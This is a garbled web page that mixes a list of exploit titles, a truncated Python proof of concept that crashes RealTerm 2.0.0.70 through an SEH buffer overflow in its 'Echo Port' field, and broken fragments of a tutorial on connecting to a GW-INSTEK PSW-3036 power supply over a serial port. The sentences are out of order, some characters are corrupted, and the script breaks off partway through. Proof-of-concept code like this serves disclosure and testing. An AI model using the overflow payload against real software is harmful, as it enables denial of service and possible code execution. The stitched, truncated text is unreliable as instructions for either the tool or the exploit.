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"Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" "Microsoft Windows - Win32k Elevation of Privilege" "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" "ChurchCRM 4.2.0 - CSV/Formula Injection" "DotCMS 20.11 - Stored Cross-Site Scripting" "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" No rate Limit on Password Reset functionality" "Mitel mitel-cs018 - Call Data Information Disclosure" "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" For example, go to the Start menu > Control Panel > Device Managerĭouble click the Ports icon to reveal the connected serial port devices and the COM port for the each connected device.# -*- coding: utf-8 -*- # Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Overflow Crash (SEH) (PoC) # Date: # Author: Alejandra Sánchez # Vendor Homepage: # Software Link: # Version: 2.0.0.70 # Tested on: Windows 10 / Windows XP # Proof of Concept: # 1.- Run the python script "EchoPort.py", it will create a new file "EchoPort.txt" # 2.- Copy the content of the new file 'EchoPort.txt' to clipboard # 3.- Open realterm.exe # 4.- Go to 'Echo Port' tab # 5.- Paste clipboard in 'Port' field # 6.- Click on button -> Change # 7.- Check 'Echo On' or # 8.- Crashed # After the execution of POC, the SEH chain looks like this: # 0012F57C 43434343 # 42424242 *** CORRUPT ENTRY *** # And the Stack #0012F568 41414141 AAAA #0012F56C 41414141 AAAA #0012F570 41414141 AAAA #0012F574 41414141 AAAA #0012F578 42424242 BBBB Pointer to next SEH record #0012F57C 43434343 CCCC SE handler buffer = " \x41 " * 268 nseh = " \x42 " * 4 seh = " \x43 " * 4 f = open ( "EchoPort.txt", "w" ) f. Go to the Windows device manager and find Download Realterm and install according to theģ. Realterm can be downloaded on free of charge.ġ. Even though Realterm is used as an example to establish a remote connection, any terminal program can be used that has similar functionality. The following instructions apply to version 2.0.0.70.
Realterm is a terminal program that can be used to communicate with a device attached to the serial port of a PC or via an emulated serial port via USB. Using Realterm to Establish a Remote Connection Manufacturer: GW-INSTEK Model number : PSW-3036 Serial number : TW123456 Firmware version : 0101
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